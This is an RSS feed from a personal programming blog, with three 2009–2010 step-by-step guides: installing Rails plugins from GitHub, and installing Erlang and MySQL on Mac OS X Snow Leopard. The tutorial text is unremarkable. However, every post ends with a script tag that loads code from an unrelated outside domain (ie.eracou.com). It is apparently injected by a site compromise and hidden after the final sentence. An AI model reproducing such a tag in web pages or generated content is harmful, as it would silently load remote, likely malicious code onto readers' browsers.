<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>jBoxer &#187; guide</title>
	<atom:link href="http://jboxer.com/tag/guide/feed/" rel="self" type="application/rss+xml" />
	<link>http://jboxer.com</link>
	<description>I change the directions of small pieces of metal for a living.</description>
	<lastBuildDate>Wed, 28 Jul 2010 14:23:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Installing Ruby on Rails 2.3+ plugins from github</title>
		<link>http://jboxer.com/2010/01/installing-ruby-on-rails-2-3-plugins-from-githu/</link>
		<comments>http://jboxer.com/2010/01/installing-ruby-on-rails-2-3-plugins-from-githu/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 05:02:21 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[10.6]]></category>
		<category><![CDATA[authlogic]]></category>
		<category><![CDATA[carmen]]></category>
		<category><![CDATA[git]]></category>
		<category><![CDATA[github]]></category>
		<category><![CDATA[guide]]></category>
		<category><![CDATA[mac]]></category>
		<category><![CDATA[os x]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[ruby on rails]]></category>
		<category><![CDATA[snow leopard]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=298</guid>
		<description><![CDATA[I&#8217;ve been banging my head against this wall for quite awhile now, and I just finally figured out the answer. Like I&#8217;ve done in other posts, I&#8217;ll just post what worked for me, and hopefully it&#8217;ll help other people. I&#8217;m running Ruby 1.9 and Ruby on Rails 2.3.3 on Snow Leopard. I&#8217;ve been trying to [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been banging my head against this wall for quite awhile now, and I just finally figured out the answer. Like I&#8217;ve done in other posts, I&#8217;ll just post what worked for me, and hopefully it&#8217;ll help other people.</p>
<p>I&#8217;m running Ruby 1.9 and Ruby on Rails 2.3.3 on Snow Leopard. I&#8217;ve been trying to install plugins (specifically, <a href="http://github.com/binarylogic/authlogic">Authlogic</a> and <a href="http://github.com/jim/carmen">Carmen</a>) for a couple days now using the following two commands (as taken from the main github pages):</p>
<pre class="brush: bash;">script/plugin install git://github.com/binarylogic/authlogic.git
script/plugin install git://github.com/jim/carmen.git</pre>
<p>In return, I received the following errors:</p>
<pre class="brush: bash;">Plugin not found: [&quot;git://github.com/binarylogic/authlogic.git&quot;]
Plugin not found: [&quot;git://github.com/jim/carmen.git&quot;]</pre>
<p>After a lot of poking around, it turns out you need to make two changes in order for this to work on Rails 2.3 or higher: change the <code>git://</code> at the beginning of each URL to <code>http://</code>, and add a trailing slash to the end of each URL. So instead, run these:</p>
<pre class="brush: bash;">script/plugin install http://github.com/binarylogic/authlogic.git/
script/plugin install http://github.com/jim/carmen.git/</pre>
<p>They both worked perfectly for me, so hopefully they&#8217;ll work for you. If not, leave a comment and I&#8217;ll try to help.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2010/01/installing-ruby-on-rails-2-3-plugins-from-githu/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Installing Erlang on Snow Leopard</title>
		<link>http://jboxer.com/2010/01/installing-erlang-on-snow-leopard/</link>
		<comments>http://jboxer.com/2010/01/installing-erlang-on-snow-leopard/#comments</comments>
		<pubDate>Fri, 01 Jan 2010 21:22:23 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[10.6]]></category>
		<category><![CDATA[erlang]]></category>
		<category><![CDATA[guide]]></category>
		<category><![CDATA[mac]]></category>
		<category><![CDATA[os x]]></category>
		<category><![CDATA[snow leopard]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=288</guid>
		<description><![CDATA[Here&#8217;s another in my series of &#8220;Installing X on Snow Leopard&#8221;. These aren&#8217;t official, well-tested guides; they&#8217;re just documentations of my attempts to compile and install various things on my personal computer. My last one (Installing MySQL on Snow Leopard) is my most popular post to date (aside from a couple that have been on [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s another in my series of &#8220;Installing X on Snow Leopard&#8221;. These aren&#8217;t official, well-tested guides; they&#8217;re just documentations of my attempts to compile and install various things on my personal computer. My last one (<a href="http://jboxer.com/2009/09/installing-mysql-on-snow-leopard/">Installing MySQL on Snow Leopard</a>) is my most popular post to date (aside from a couple that have been on Reddit). Erlang is less popular than MySQL, but hopefully this will still help a few people.</p>
<h3>Downloading and unpacking</h3>
<p>Go to http://erlang.org/download.html and download the Source for the newest version (when I was writing this, that was <strong><a href="http://erlang.org/download/otp_src_R13B03.tar.gz">R13B03</a></strong>. After downloading, extract it to somewhere that&#8217;s convenient to get to with the Terminal.</p>
<h3>Configure</h3>
<p>Open the Terminal and <code>cd</code> into the directory you extracted Erlang to (mine was <strong>/Users/jake/src/otp_src_R13B03</strong> . Then run the following command:</p>
<p><code>./configure \<br />
    --prefix=/usr/local/ \<br />
    --enable-smp-support \<br />
    --enable-threads \<br />
    --enable-darwin-64bit</code></p>
<p><strong>Note:</strong> You will probably get <strong>three errors</strong>. Read about them in the <a href="#configuration-errors">Configuration Errors</a> section coming up.</p>
<p>The first three configure options are the defaults according to the README. However, I&#8217;ve had experiences where supposed defaults aren&#8217;t really the defaults when compiled on OS X, so I don&#8217;t like to take chances. <code>--enable-darwin-64bit</code> enables experimental support for the 64bit x86 Darwin binaries. This may not be necessary, but in general, 64-bit stuff has fewer problems on Snow Leopard, so I figured this was a good idea.<br />
<a name="configuration-errors"></a></p>
<h3>Configuration Errors</h3>
<p>I got the following configuration errors:</p>
<pre>jinterface    : No Java compiler found
wx            : Can not combine 64bits erlang with wxWidgets on
                MacOSX, wx will not be useable
documentation : fop is missing. The documentation can not be built.</pre>
<p>These aren&#8217;t a problem. If you get any errors besides these, you&#8217;re in trouble. Leave a comment, and I&#8217;ll see if I can help.</p>
<h3>Making and installing</h3>
<p>These two commands shouldn&#8217;t give you any trouble:</p>
<p><code>make</code></p>
<p>And then, after <code>make</code> is done:</p>
<p><code>sudo make install</code></p>
<p>If you get any errors at either of these stages, leave a comment and I&#8217;ll try to help.</p>
<h3>Making sure it works</h3>
<p><strong>Note:</strong> This canonical test is gratefully borrowed from <a href="http://erlang.org/quick_start.html">erlang.org</a>.</p>
<p>Put the following into a text file:</p>
<pre class="brush: erlang;">-module(test).
-export([fac/1]).

fac(0) -&gt; 1;
fac(N) -&gt; N * fac(N-1).</pre>
<p>Save it as <code>test.erl</code> in a directory that&#8217;s easy to get to with the Terminal. Then, from the Terminal, <code>cd</code> into that directory and type <code>erl</code> (which, if everything worked right, should start the Erlang command-line interpreter). From the interpreter, run the following commands: </p>
<p><code>1> c(test).<br />
{ok,test}<br />
2> test:fac(20).<br />
2432902008176640000<br />
3> test:fac(40).<br />
815915283247897734345611269596115894272000000000</code></p>
<p><strong>Note:</strong> Lines starting with <code>N></code> (where N is a number) are lines you should type (but just type the stuff coming after <code>N></code>). The other lines represent output.</p>
<p><code>c(test).</code> compiles test.erl (assuming it&#8217;s in the directory you <code>cd</code>&#8216;ed into). <code>test:fac(20).</code> and <code>test:fac(40).</code> runs your factorial function.</p>
<p>So, that&#8217;s what worked for me. If anyone has any problems along the way, leave a comment and I&#8217;ll try to help.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2010/01/installing-erlang-on-snow-leopard/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Installing MySQL on Snow Leopard</title>
		<link>http://jboxer.com/2009/09/installing-mysql-on-snow-leopard/</link>
		<comments>http://jboxer.com/2009/09/installing-mysql-on-snow-leopard/#comments</comments>
		<pubDate>Sat, 12 Sep 2009 21:16:21 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[10.6]]></category>
		<category><![CDATA[cisco]]></category>
		<category><![CDATA[guide]]></category>
		<category><![CDATA[mac]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[os x]]></category>
		<category><![CDATA[snow leopard]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=198</guid>
		<description><![CDATA[Early on at Cisco, I realized that it&#8217;s really beneficial to write down (step by step) what I&#8217;ve done when I install something new. It forces me to think about what I&#8217;m doing, it provides me with a guide in case I mess up and have to start over, and other people can benefit from [...]]]></description>
			<content:encoded><![CDATA[<p>Early on at Cisco, I realized that it&#8217;s really beneficial to write down (step by step) what I&#8217;ve done when I install something new. It forces me to think about what I&#8217;m doing, it provides me with a guide in case I mess up and have to start over, and other people can benefit from it later.</p>
<p>With that in mind, I&#8217;ve decided to document my installation of MySQL on Snow Leopard (OS X 10.6). Hopefully, someone will get some use out of it, but if not, at least I&#8217;ll have documentation of what I did.</p>
<h3>The PATH Variable</h3>
<p>MySQL has a bunch of useful executables that aren&#8217;t in PATH by default. I could symlink to them, but I think that&#8217;s less maintainable than just appending to PATH.</p>
<ol>
<li>Open the Terminal</li>
<li>Open up the .bash_profile file in your home directory. This is a bash script that runs every time you start the Terminal, so the PATH variable will be extended properly every time. <strong>If you have TextMate and its UNIX command line tools installed</strong>, do it like this:
<pre class="brush: bash;">mate ~/.bash_profile</pre>
<p>Otherwise, do it like this:</p>
<pre class="brush: bash;">/Applications/TextEdit.app/Contents/MacOS/TextEdit ~/.bash_profile &amp;</pre>
<p>If you use the second one, make sure to add the ampersand at the end.</li>
<li>We want to add MySQL&#8217;s bin folder to PATH. MySQL&#8217;s going to be installed at /usr/local/mysql, so let&#8217;s add /usr/local/mysql/bin to PATH. Add the following line to .bash_profile:
<pre class="brush: bash;">export PATH=&quot;/usr/local/mysql/bin:/usr/local/sbin:$PATH&quot;</pre>
<p>This replaces PATH with two new locations and the old value of path (so essentially, appending the two new locations to the beginning of PATH). You&#8217;ll notice that, in addition to /usr/local/mysql/bin (which I mentioned earlier), I also added /usr/local/sbin. OS X doesn&#8217;t include this in PATH by default, but I think it should, so I added it. I have no defense for that position, but this is as much a guide for myself as it is a guide for other people, so I don&#8217;t need to defend it :)</li>
<li>Save the updated .bash_profile and close it.</li>
<li>Quit and reopen Terminal so that .bash_profile will be rerun (you could also run it explicitly, but I prefer quitting and reopening).</li>
<li>Run the following command:
<pre class="brush: bash;">echo $PATH</pre>
<p>You should see /usr/local/mysql/bin and /usr/local/sbin in there now.</li>
<li><strong>Edit:</strong> Restart your computer. My installation worked without doing this, but Jon (in the comments) said he needed to do this before it worked, so you might as well.</li>
</ol>
<h3>Downloading + Installing</h3>
<p>I might try compiling and installing from source at some point, but I don&#8217;t see any reason to when there are official OS X binaries available. Worst case scenario, it messes with a bunch of my settings, and I&#8217;ll uninstall and then do it from source.</p>
<ol>
<li>Go to http://dev.mysql.com/downloads/mysql/5.1.html#downloads</li>
<li>Scroll down to the Mac OS X section (near the bottom). Download the version labeled &#8220;Mac OS X 10.5 (x86_64)&#8221;. <strong>It&#8217;s very important that you download the 64-bit version.</strong> The 32-bit one will give you preference pane problems (I call them PPPs whenever I talk about them, though this is the first time I ever have). Eventually, there&#8217;ll probably be a Mac OS X 10.6 version, but for now, this works perfectly.</li>
<li>Open the .dmg, then run mysql-x.x.xx-osx10.5-x86_64.pkg. Continue through all the screens without changing anything, until it finishes.</li>
<li>Optional: install the preference pane by running MySQL.prefPane.</li>
<li>Optional: make MySQL start up along with OS X by running MySQLStartupItem.pkg. I didn&#8217;t do this (I often use my computer for things other than development, and I don&#8217;t want to bog it down unnecessarily), so I can&#8217;t provide any instruction or vouch for how well it works on Snow Leopard.</li>
<p>You should now be able to start MySQL by going into the MySQL preference pane and clicking &#8220;Start MySQL Server&#8221;. If it doesn&#8217;t work, leave me a comment, and I&#8217;ll try to help you.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2009/09/installing-mysql-on-snow-leopard/feed/</wfw:commentRss>
		<slash:comments>26</slash:comments>
		</item>
	</channel>
</rss>
